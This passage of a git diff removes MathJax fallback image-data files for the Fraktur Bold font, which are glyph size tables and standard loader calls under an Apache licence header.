- *  /MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/PUA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Fraktur-bold":{58113:[[4,6,1],[5,7,1],[6,8,1],[6,9,1],[8,10,1],[9,12,1],[10,14,1],[12,16,1],[15,19,1],[17,22,1],[20,27,2],[24,32,2],[29,37,2],[34,44,2]],58114:[[3,7,2],[4,8,2],[4,10,3],[5,12,3],[6,13,3],[7,16,4],[8,19,5],[10,22,6],[12,26,6],[14,30,7],[16,37,9],[19,43,10],[23,51,12],[27,60,14]],58115:[[3,7,2],[4,8,2],[4,10,3],[5,11,3],[6,13,3],[7,16,4],[8,19,5],[9,22,6],[11,26,7],[13,31,8],[15,36,9],[18,43,11],[21,51,13],[26,60,15]],58116:[[4,6,2],[5,6,2],[6,7,2],[7,9,3],[8,10,3],[9,12,4],[11,15,5],[13,16,5],[15,19,6],[18,23,7],[21,28,9],[25,32,10],[30,38,12],[35,45,14]],58117:[[3,6,1],[4,7,1],[4,8,1],[5,10,1],[6,11,1],[7,13,1],[8,15,1],[9,17,1],[11,20,1],[13,24,1],[16,29,2],[18,34,2],[22,40,2],[26,48,2]],58120:[[7,7,2],[8,8,2],[9,9,2],[11,11,3],[13,13,3],[15,16,4],[18,19,5],[21,22,6],[25,26,7],[29,31,8],[35,36,9],[41,43,11],[49,51,13],[58,60,15]],58121:[[5,6,1],[6,8,2],[7,10,2],[8,11,2],[9,12,2],[11,15,3],[13,17,3],[15,20,3],[18,24,4],[21,29,5],[25,35,6],[30,41,7],[35,48,8],[42,58,10]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Fraktur/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/PUA.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/unpacked/BasicLatin.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/unpacked/BasicLatin.js
deleted file mode 100644
index 89dc946c..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/unpacked/BasicLatin.js
+++ /dev/null
@@ -1,361 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/BasicLatin.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Fraktur-bold": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x21: [  // EXCLAMATION MARK
-      [2,4,0],[3,6,0],[3,7,0],[3,9,0],[4,10,0],[5,12,0],[5,13,0],[6,17,1],
-      [7,20,1],[8,24,1],[10,29,1],[12,33,1],[14,39,1],[16,46,1]
-    ],
-    0x22: [  // QUOTATION MARK
-      [2,2,-2],[2,3,-3],[3,3,-4],[3,4,-5],[4,4,-6],[4,5,-7],[5,6,-7],[6,7,-9],
-      [7,8,-11],[8,9,-14],[10,11,-17],[11,13,-19],[13,16,-23],[16,18,-28]
-    ],
-    0x26: [  // AMPERSAND
-      [6,4,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],[14,12,0],[17,13,0],[20,17,1],
-      [24,20,1],[28,24,1],[33,29,1],[39,33,1],[47,39,1],[55,47,1]
-    ],
-    0x27: [  // APOSTROPHE
-      [2,2,-2],[2,3,-3],[2,3,-4],[2,4,-5],[3,4,-6],[3,5,-7],[4,5,-8],[4,7,-9],
-      [5,8,-11],[6,9,-14],[7,11,-17],[8,13,-19],[9,15,-24],[11,18,-29]
-    ],
-    0x28: [  // LEFT PARENTHESIS
-      [3,6,1],[3,8,2],[4,10,2],[5,12,3],[5,14,3],[6,16,4],[7,18,4],[9,22,4],
-      [10,26,5],[12,32,6],[14,37,7],[17,43,9],[20,51,10],[23,61,12]
-    ],
-    0x29: [  // RIGHT PARENTHESIS
-      [3,6,1],[3,8,2],[4,10,2],[4,12,3],[5,14,3],[6,16,4],[7,18,4],[8,22,5],
-      [10,27,6],[11,32,6],[13,38,8],[16,44,9],[19,52,11],[22,61,12]
-    ],
-    0x2A: [  // ASTERISK
-      [2,2,-2],[3,3,-3],[3,3,-4],[4,4,-5],[4,4,-6],[5,5,-7],[6,5,-8],[7,6,-10],
-      [8,7,-12],[10,9,-14],[11,10,-18],[13,12,-20],[16,14,-24],[19,16,-29]
-    ],
-    0x2B: [  // PLUS SIGN
-      [6,5,1],[7,7,1],[9,9,2],[10,9,1],[12,11,2],[14,13,2],[17,14,1],[20,17,2],
-      [24,20,3],[28,24,4],[33,28,3],[39,32,4],[47,38,5],[56,46,6]
-    ],
-    0x2C: [  // COMMA
-      [2,2,1],[3,3,2],[3,3,2],[3,4,3],[4,5,3],[5,5,4],[5,6,4],[6,7,5],
-      [7,8,5],[9,10,6],[10,12,8],[12,14,9],[14,17,11],[17,20,13]
-    ],
-    0x2D: [  // HYPHEN-MINUS
-      [6,1,-1],[7,1,-2],[9,1,-2],[10,1,-3],[12,1,-3],[14,1,-4],[17,1,-4],[20,1,-5],
-      [24,2,-6],[28,3,-7],[33,2,-10],[39,2,-11],[47,3,-13],[55,3,-16]
-    ],
-    0x2E: [  // FULL STOP
-      [2,1,0],[2,1,0],[3,2,0],[3,2,0],[4,2,0],[4,2,0],[5,3,0],[6,3,1],
-      [7,4,1],[8,4,1],[10,5,1],[12,6,1],[14,7,1],[16,8,1]
-    ],
-    0x2F: [  // SOLIDUS
-      [4,6,1],[5,8,2],[6,10,2],[7,12,2],[8,14,3],[10,16,3],[11,17,3],[13,21,4],
-      [16,25,5],[19,31,6],[22,37,7],[26,42,8],[31,50,10],[37,60,12]
-    ],
-    0x30: [  // DIGIT ZERO
-      [4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,9,0],[11,10,0],[13,12,1],
-      [15,15,1],[18,18,1],[21,21,0],[25,24,1],[30,29,1],[36,34,1]
-    ],
-    0x31: [  // DIGIT ONE
-      [4,3,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,8,0],[11,9,0],[13,11,0],
-      [16,14,1],[19,17,1],[22,20,1],[26,23,0],[31,27,0],[37,32,0]
-    ],
-    0x32: [  // DIGIT TWO
-      [4,3,0],[5,4,0],[6,6,1],[7,7,1],[8,8,1],[10,8,0],[11,9,0],[14,12,1],
-      [16,13,0],[19,17,0],[23,20,0],[27,23,0],[32,27,0],[38,32,0]
-    ],
-    0x33: [  // DIGIT THREE
-      [4,4,1],[5,6,2],[6,7,2],[7,9,3],[8,10,3],[9,12,4],[11,13,4],[13,16,5],
-      [15,19,6],[18,23,7],[21,28,8],[25,32,9],[29,38,11],[35,45,13]
-    ],
-    0x34: [  // DIGIT FOUR
-      [4,4,1],[5,6,2],[6,7,2],[7,9,3],[8,10,3],[10,12,4],[12,13,4],[14,16,5],
-      [16,19,6],[19,24,7],[23,28,8],[27,33,10],[32,38,11],[38,46,14]
-    ],
-    0x35: [  // DIGIT FIVE
-      [4,4,1],[5,6,2],[6,7,2],[7,9,3],[8,10,3],[9,12,4],[11,13,4],[13,16,5],
-      [15,19,6],[18,24,8],[21,27,8],[25,31,9],[29,37,10],[35,44,12]
-    ],
-    0x36: [  // DIGIT SIX
-      [4,4,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[10,12,0],[11,13,0],[13,17,1],
-      [16,20,1],[19,24,1],[22,29,0],[26,34,1],[31,40,1],[37,47,1]
-    ],
-    0x37: [  // DIGIT SEVEN
-      [5,4,1],[5,6,2],[6,7,2],[7,9,3],[9,10,3],[10,12,4],[12,13,4],[14,16,5],
-      [17,19,6],[20,23,7],[24,27,8],[28,32,10],[33,38,12],[39,45,13]
-    ],
-    0x38: [  // DIGIT EIGHT
-      [4,5,0],[5,6,0],[6,8,0],[7,9,0],[8,11,0],[9,12,0],[11,14,0],[13,17,1],
-      [15,21,1],[18,24,0],[22,29,0],[26,34,0],[30,40,0],[36,47,0]
-    ],
-    0x39: [  // DIGIT NINE
-      [4,4,1],[5,6,2],[6,7,2],[7,9,3],[8,10,3],[10,12,4],[11,13,4],[13,16,5],
-      [16,19,6],[19,23,6],[22,28,8],[26,32,9],[31,38,11],[37,45,13]
-    ],
-    0x3A: [  // COLON
-      [2,3,0],[2,4,0],[2,5,0],[3,6,0],[3,7,0],[4,8,0],[4,9,0],[5,12,1],
-      [6,14,1],[7,17,1],[8,19,0],[10,22,1],[11,26,1],[13,31,1]
-    ],
-    0x3B: [  // SEMICOLON
-      [2,5,2],[2,6,2],[3,7,2],[3,9,3],[3,10,3],[4,11,3],[5,13,4],[5,15,4],
-      [6,19,6],[7,23,7],[9,27,8],[10,31,9],[12,37,11],[14,43,12]
-    ],
-    0x3D: [  // EQUALS SIGN
-      [4,2,-1],[5,2,-1],[6,2,-1],[7,3,-2],[8,3,-2],[10,3,-3],[11,4,-3],[13,4,-4],
-      [16,6,-4],[19,8,-5],[22,7,-7],[26,8,-8],[31,10,-9],[37,12,-11]
-    ],
-    0x3F: [  // QUESTION MARK
-      [3,4,0],[4,6,0],[5,7,0],[5,9,0],[6,10,0],[7,12,0],[9,13,0],[10,17,1],
-      [12,20,1],[14,24,1],[17,29,1],[20,33,1],[24,39,1],[28,47,1]
-    ],
-    0x41: [  // LATIN CAPITAL LETTER A
-      [6,5,1],[7,7,1],[9,8,1],[10,10,1],[12,11,1],[14,14,2],[17,15,2],[20,18,2],
-      [23,21,2],[28,25,2],[33,30,2],[39,34,2],[46,41,3],[55,48,3]
-    ],
-    0x42: [  // LATIN CAPITAL LETTER B
-      [7,4,0],[8,6,0],[10,7,0],[12,9,0],[14,10,0],[17,13,1],[19,14,1],[23,17,1],
-      [27,20,1],[32,24,1],[38,29,1],[45,33,1],[54,40,2],[64,47,2]
-    ],
-    0x43: [  // LATIN CAPITAL LETTER C
-      [6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],[13,13,1],[15,14,1],[17,17,1],
-      [21,20,1],[24,24,1],[29,29,1],[34,33,1],[41,40,2],[48,47,2]
-    ],
-    0x44: [  // LATIN CAPITAL LETTER D
-      [7,4,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],[15,13,1],[18,14,1],[21,17,1],
-      [25,20,1],[30,24,1],[36,29,1],[42,33,1],[50,40,2],[59,47,2]
-    ],
-    0x45: [  // LATIN CAPITAL LETTER E
-      [6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],[13,13,1],[15,14,1],[17,17,1],
-      [21,20,1],[24,24,1],[29,29,1],[34,33,1],[41,40,2],[48,47,2]
-    ],
-    0x46: [  // LATIN CAPITAL LETTER F
-      [5,6,2],[6,7,1],[8,9,2],[9,11,2],[10,12,2],[12,14,2],[15,16,3],[17,19,3],
-      [20,23,4],[24,29,6],[29,34,6],[34,39,7],[40,46,8],[48,55,10]
-    ],
-    0x47: [  // LATIN CAPITAL LETTER G
-      [6,4,0],[8,6,0],[9,7,0],[10,9,0],[12,10,0],[15,12,0],[17,13,0],[20,17,1],
-      [24,20,1],[28,24,1],[34,29,1],[40,33,1],[47,39,1],[56,47,2]
-    ],
-    0x48: [  // LATIN CAPITAL LETTER H
-      [6,5,1],[7,7,1],[8,9,2],[9,11,2],[11,12,2],[13,14,2],[15,16,3],[18,20,4],
-      [21,23,4],[25,27,4],[30,33,5],[35,38,6],[42,45,7],[50,53,8]
-    ],
-    0x49: [  // LATIN CAPITAL LETTER I
-      [5,4,0],[6,6,0],[7,7,0],[8,9,0],[9,10,0],[11,12,0],[13,13,0],[15,17,1],
-      [18,20,1],[21,24,1],[25,29,1],[29,33,1],[35,39,1],[41,47,2]
-    ],
-    0x4A: [  // LATIN CAPITAL LETTER J
-      [6,6,2],[7,7,1],[7,9,2],[9,11,2],[10,12,2],[12,14,2],[13,16,3],[16,19,3],
-      [18,24,5],[22,29,6],[25,33,5],[30,38,6],[35,46,8],[42,54,9]
-    ],
-    0x4B: [  // LATIN CAPITAL LETTER K
-      [6,4,0],[7,6,0],[8,7,0],[10,9,0],[12,10,0],[14,12,0],[16,13,0],[19,17,1],
-      [23,20,1],[27,24,1],[32,29,1],[38,33,1],[45,39,1],[54,47,2]
-    ],
-    0x4C: [  // LATIN CAPITAL LETTER L
-      [6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],[13,12,0],[15,13,0],[18,17,1],
-      [22,20,1],[26,24,1],[30,29,1],[36,33,1],[43,39,1],[51,47,2]
-    ],
-    0x4D: [  // LATIN CAPITAL LETTER M
-      [9,6,1],[11,7,1],[13,7,0],[15,9,0],[17,10,0],[21,13,1],[24,14,1],[29,17,1],
-      [34,20,1],[41,24,1],[49,29,1],[58,33,1],[68,40,2],[81,47,2]
-    ],
-    0x4E: [  // LATIN CAPITAL LETTER N
-      [7,5,1],[9,7,1],[10,8,1],[12,10,1],[14,11,1],[17,13,1],[19,14,1],[23,18,2],
-      [27,21,2],[32,25,2],[39,30,2],[46,34,2],[54,40,2],[64,48,3]
-    ],
-    0x4F: [  // LATIN CAPITAL LETTER O
-      [7,5,0],[8,7,0],[9,8,0],[11,10,0],[13,11,0],[15,14,1],[18,15,1],[21,19,1],
-      [25,21,1],[29,26,1],[35,31,1],[41,35,1],[49,42,2],[58,50,2]
-    ],
-    0x50: [  // LATIN CAPITAL LETTER P
-      [7,6,2],[8,8,2],[10,10,3],[12,12,3],[14,14,4],[16,16,4],[19,18,5],[22,22,6],
-      [27,26,7],[31,31,8],[37,38,10],[44,43,11],[53,51,13],[62,61,16]
-    ],
-    0x51: [  // LATIN CAPITAL LETTER Q
-      [7,6,1],[8,8,1],[10,9,1],[11,11,1],[13,12,1],[16,15,2],[18,16,2],[22,21,3],
-      [26,23,3],[31,28,3],[36,34,4],[43,38,4],[51,45,5],[61,54,6]
-    ],
-    0x52: [  // LATIN CAPITAL LETTER R
-      [7,5,1],[9,6,0],[10,8,1],[12,10,1],[14,11,1],[17,13,1],[20,14,1],[23,17,1],
-      [28,20,1],[33,25,2],[39,29,1],[46,34,2],[55,40,2],[65,47,2]
-    ],
-    0x53: [  // LATIN CAPITAL LETTER S
-      [7,4,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],[16,13,1],[18,14,1],[22,17,1],
-      [26,20,1],[30,24,1],[36,29,1],[43,33,1],[51,40,2],[60,47,2]
-    ],
-    0x54: [  // LATIN CAPITAL LETTER T
-      [6,5,0],[7,7,0],[8,8,0],[10,10,0],[12,11,0],[14,14,1],[16,15,1],[19,18,1],
-      [23,21,1],[27,25,1],[32,30,1],[38,34,1],[45,41,2],[53,48,2]
-    ],
-    0x55: [  // LATIN CAPITAL LETTER U
-      [7,5,0],[8,7,0],[9,8,0],[11,10,0],[13,11,0],[15,13,0],[17,14,0],[21,18,1],
-      [25,21,1],[29,25,1],[35,30,1],[41,34,1],[49,40,1],[58,49,3]
-    ],
-    0x56: [  // LATIN CAPITAL LETTER V
-      [7,4,0],[8,6,0],[10,7,0],[12,9,0],[14,10,0],[17,13,1],[19,14,1],[23,17,1],
-      [27,20,1],[32,24,1],[38,29,1],[45,33,1],[54,40,2],[64,47,2]
-    ],
-    0x57: [  // LATIN CAPITAL LETTER W
-      [9,4,0],[11,7,0],[13,8,0],[15,10,0],[18,11,0],[21,14,1],[25,15,1],[29,18,1],
-      [35,21,1],[41,25,1],[49,30,1],[58,34,1],[69,41,2],[82,48,2]
-    ],
-    0x58: [  // LATIN CAPITAL LETTER X
-      [6,4,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],[14,13,1],[17,14,1],[20,17,1],
-      [24,20,1],[28,24,1],[33,29,1],[39,33,1],[47,40,2],[55,48,3]
-    ],
-    0x59: [  // LATIN CAPITAL LETTER Y
-      [7,6,1],[8,8,2],[9,10,2],[11,13,3],[13,14,3],[15,16,4],[18,18,4],[21,22,5],
-      [25,26,6],[29,31,7],[35,37,8],[41,43,10],[49,51,12],[58,60,14]
-    ],
-    0x5A: [  // LATIN CAPITAL LETTER Z
-      [6,6,2],[7,7,1],[8,9,2],[9,11,2],[10,12,2],[12,14,2],[14,16,3],[16,20,4],
-      [19,23,4],[22,28,5],[26,33,5],[30,39,7],[36,46,8],[43,55,10]
-    ],
-    0x5B: [  // LEFT SQUARE BRACKET
-      [2,6,1],[2,8,1],[3,10,1],[3,12,2],[4,13,2],[4,15,2],[5,17,2],[6,20,3],
-      [7,24,4],[8,29,4],[9,35,5],[11,41,6],[13,49,7],[15,57,9]
-    ],
-    0x5D: [  // RIGHT SQUARE BRACKET
-      [2,6,1],[2,8,1],[3,10,2],[3,12,2],[3,14,2],[4,15,2],[5,17,3],[5,21,3],
-      [6,26,5],[7,31,5],[9,36,6],[10,42,7],[12,49,8],[14,58,9]
-    ],
-    0x5E: [  // CIRCUMFLEX ACCENT
-      [5,2,-3],[5,3,-4],[6,3,-5],[7,4,-6],[9,4,-7],[10,5,-8],[12,6,-9],[14,7,-11],
-      [17,8,-12],[20,10,-15],[23,12,-18],[28,13,-21],[33,16,-25],[39,19,-30]
-    ],
-    0x61: [  // LATIN SMALL LETTER A
-      [5,5,1],[5,6,1],[6,7,1],[7,8,1],[9,9,1],[10,10,1],[12,11,1],[14,13,1],
-      [17,15,1],[20,18,1],[23,22,2],[28,25,2],[33,29,2],[39,34,2]
-    ],
-    0x62: [  // LATIN SMALL LETTER B
-      [4,5,1],[5,7,1],[5,8,1],[6,10,1],[7,11,1],[9,13,1],[10,14,1],[12,17,1],
-      [14,20,1],[17,25,2],[20,30,2],[24,34,2],[28,40,2],[34,48,3]
-    ],
-    0x63: [  // LATIN SMALL LETTER C
-      [3,4,0],[4,6,1],[5,6,1],[5,7,1],[6,9,1],[7,9,1],[9,11,1],[10,13,1],
-      [12,14,1],[14,18,1],[17,21,1],[20,24,2],[24,28,2],[28,34,3]
-    ],
-    0x64: [  // LATIN SMALL LETTER D
-      [4,5,0],[6,6,0],[7,8,1],[7,9,1],[9,11,1],[10,12,1],[11,14,1],[13,16,1],
-      [16,20,2],[18,23,1],[21,27,2],[25,32,2],[30,38,2],[35,44,2]
-    ],
-    0x65: [  // LATIN SMALL LETTER E
-      [3,4,0],[4,5,0],[5,6,0],[6,7,0],[6,8,0],[8,9,0],[9,10,0],[10,12,1],
-      [12,14,1],[15,17,1],[17,21,1],[20,24,1],[24,28,1],[29,33,2]
-    ],
-    0x66: [  // LATIN SMALL LETTER F
-      [3,5,1],[4,8,2],[4,9,2],[5,12,3],[6,13,3],[7,16,4],[8,17,4],[9,21,5],
-      [11,25,6],[13,30,7],[15,37,9],[18,43,11],[21,50,12],[25,60,15]
-    ],
-    0x67: [  // LATIN SMALL LETTER G
-      [4,4,1],[5,6,2],[6,7,2],[7,9,3],[8,10,3],[9,12,4],[11,13,4],[13,16,5],
-      [15,19,6],[18,23,7],[22,27,8],[26,32,10],[30,38,12],[36,45,14]
-    ],
-    0x68: [  // LATIN SMALL LETTER H
-      [4,7,2],[5,9,2],[5,10,2],[6,13,3],[8,14,3],[9,17,4],[10,18,4],[12,23,6],
-      [15,27,7],[17,32,8],[20,38,9],[24,43,10],[29,51,12],[34,60,15]
-    ],
-    0x69: [  // LATIN SMALL LETTER I
-      [3,5,0],[3,7,0],[4,8,0],[4,9,0],[5,11,0],[6,12,0],[7,14,0],[8,17,1],
-      [10,20,1],[11,24,1],[13,29,1],[16,34,1],[19,40,1],[22,47,2]
-    ],
-    0x6A: [  // LATIN SMALL LETTER J
-      [3,6,1],[3,8,2],[4,10,2],[4,12,3],[5,14,3],[5,15,4],[6,17,4],[7,21,5],
-      [8,25,6],[9,30,7],[11,36,8],[13,42,10],[16,49,12],[18,58,13]
-    ],
-    0x6B: [  // LATIN SMALL LETTER K
-      [3,6,1],[4,8,1],[5,9,1],[6,10,0],[6,12,1],[8,13,0],[9,15,1],[11,18,1],
-      [12,21,1],[15,25,1],[17,29,0],[21,34,2],[24,39,1],[29,47,2]
-    ],
-    0x6C: [  // LATIN SMALL LETTER L
-      [3,6,1],[3,7,0],[4,9,1],[4,10,1],[5,11,1],[6,13,1],[7,14,1],[8,17,1],
-      [9,20,1],[11,25,2],[13,29,1],[15,33,1],[18,40,2],[21,47,2]
-    ],
-    0x6D: [  // LATIN SMALL LETTER M
-      [7,5,1],[8,6,1],[9,7,1],[11,8,1],[13,9,1],[15,10,1],[18,11,1],[21,14,2],
-      [25,16,2],[30,19,2],[36,22,2],[42,25,2],[50,29,2],[60,35,3]
-    ],
-    0x6E: [  // LATIN SMALL LETTER N
-      [5,4,1],[6,5,1],[6,6,1],[8,7,1],[9,8,1],[11,9,1],[12,10,1],[15,13,2],
-      [17,15,2],[21,18,2],[24,21,2],[29,24,2],[34,28,2],[41,34,3]
-    ],
-    0x6F: [  // LATIN SMALL LETTER O
-      [4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,9,0],[11,10,0],[12,13,1],
-      [15,15,1],[17,18,1],[21,21,1],[24,25,1],[29,29,1],[34,35,3]
-    ],
-    0x70: [  // LATIN SMALL LETTER P
-      [4,5,1],[6,7,2],[7,8,2],[8,10,3],[9,12,3],[10,13,4],[12,15,4],[14,18,5],
-      [16,21,6],[19,26,7],[22,31,8],[26,36,10],[30,42,12],[36,50,14]
-    ],
-    0x71: [  // LATIN SMALL LETTER Q
-      [4,6,2],[5,7,2],[6,8,2],[7,10,3],[8,11,3],[9,14,5],[11,15,5],[12,18,6],
-      [15,20,6],[17,25,8],[21,29,9],[24,33,10],[29,39,12],[34,46,14]
-    ],
-    0x72: [  // LATIN SMALL LETTER R
-      [4,4,1],[4,5,0],[5,7,1],[6,8,1],[7,8,1],[8,9,1],[9,10,1],[11,13,1],
-      [13,14,1],[15,18,2],[18,21,1],[22,24,2],[26,29,2],[30,34,2]
-    ],
-    0x73: [  // LATIN SMALL LETTER S
-      [5,5,1],[6,6,1],[6,7,1],[7,7,1],[8,9,1],[10,10,1],[11,11,1],[13,13,1],
-      [15,16,2],[18,19,2],[21,22,2],[24,25,2],[29,30,3],[35,35,3]
-    ],
-    0x74: [  // LATIN SMALL LETTER T
-      [3,6,1],[4,6,0],[4,8,0],[5,9,1],[6,11,1],[7,12,1],[8,14,1],[10,17,1],
-      [12,19,1],[14,24,2],[16,28,2],[19,32,1],[23,38,2],[27,45,2]
-    ],
-    0x75: [  // LATIN SMALL LETTER U
-      [5,4,1],[5,4,0],[6,6,1],[8,7,1],[9,8,1],[10,9,1],[12,10,1],[14,13,2],
-      [17,15,2],[20,18,2],[24,21,2],[29,24,2],[34,28,2],[40,34,3]
-    ],
-    0x76: [  // LATIN SMALL LETTER V
-      [4,4,0],[5,5,0],[5,6,0],[6,8,0],[8,9,0],[9,10,0],[10,11,0],[12,14,1],
-      [15,16,1],[17,20,1],[20,23,1],[24,27,1],[29,32,1],[34,38,2]
-    ],
-    0x77: [  // LATIN SMALL LETTER W
-      [6,4,0],[7,5,0],[8,6,0],[10,8,0],[12,9,0],[14,10,1],[16,11,1],[19,14,1],
-      [23,16,1],[27,20,1],[32,23,1],[38,27,1],[46,32,2],[54,38,2]
-    ],
-    0x78: [  // LATIN SMALL LETTER X
-      [4,6,2],[4,7,2],[5,8,2],[6,10,3],[7,11,3],[8,12,3],[9,14,4],[11,17,5],
-      [13,20,6],[15,24,7],[18,28,8],[21,32,9],[25,37,10],[30,45,13]
-    ],
-    0x79: [  // LATIN SMALL LETTER Y
-      [4,6,1],[5,7,2],[6,9,2],[7,11,3],[8,12,3],[9,14,4],[10,16,4],[12,19,5],
-      [15,22,6],[17,27,7],[21,32,9],[24,37,10],[29,44,12],[34,52,15]
-    ],
-    0x7A: [  // LATIN SMALL LETTER Z
-      [4,5,1],[5,6,2],[5,8,2],[6,9,3],[7,10,3],[8,12,4],[9,13,4],[10,16,5],
-      [12,19,6],[14,24,7],[16,28,8],[19,33,10],[22,38,12],[26,46,14]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Fraktur/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/BasicLatin.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/unpacked/Main.js
deleted file mode 100644
index 1300f820..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/unpacked/Main.js
+++ /dev/null
@@ -1,34 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Fraktur-bold": {
-
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Fraktur/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/unpacked/Other.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/unpacked/Other.js
deleted file mode 100644
index 2a02619f..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/unpacked/Other.js
+++ /dev/null
@@ -1,45 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/Other.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Fraktur-bold": {
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2018: [  // LEFT SINGLE QUOTATION MARK
-      [2,2,-3],[2,3,-3],[2,4,-4],[3,4,-5],[3,5,-6],[4,6,-7],[4,6,-8],[5,7,-10],
-      [6,9,-11],[7,11,-14],[8,12,-17],[9,14,-19],[11,17,-23],[13,20,-27]
-    ],
-    0x2019: [  // RIGHT SINGLE QUOTATION MARK
-      [2,2,-2],[2,3,-3],[2,4,-3],[3,4,-5],[3,5,-5],[4,6,-6],[4,6,-7],[5,7,-9],
-      [6,9,-10],[7,11,-12],[8,12,-16],[9,14,-18],[11,17,-21],[13,20,-25]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Fraktur/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Other.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/unpacked/PUA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/unpacked/PUA.js
deleted file mode 100644
index 75ba610f..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/unpacked/PUA.js
+++ /dev/null
@@ -1,61 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/PUA.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
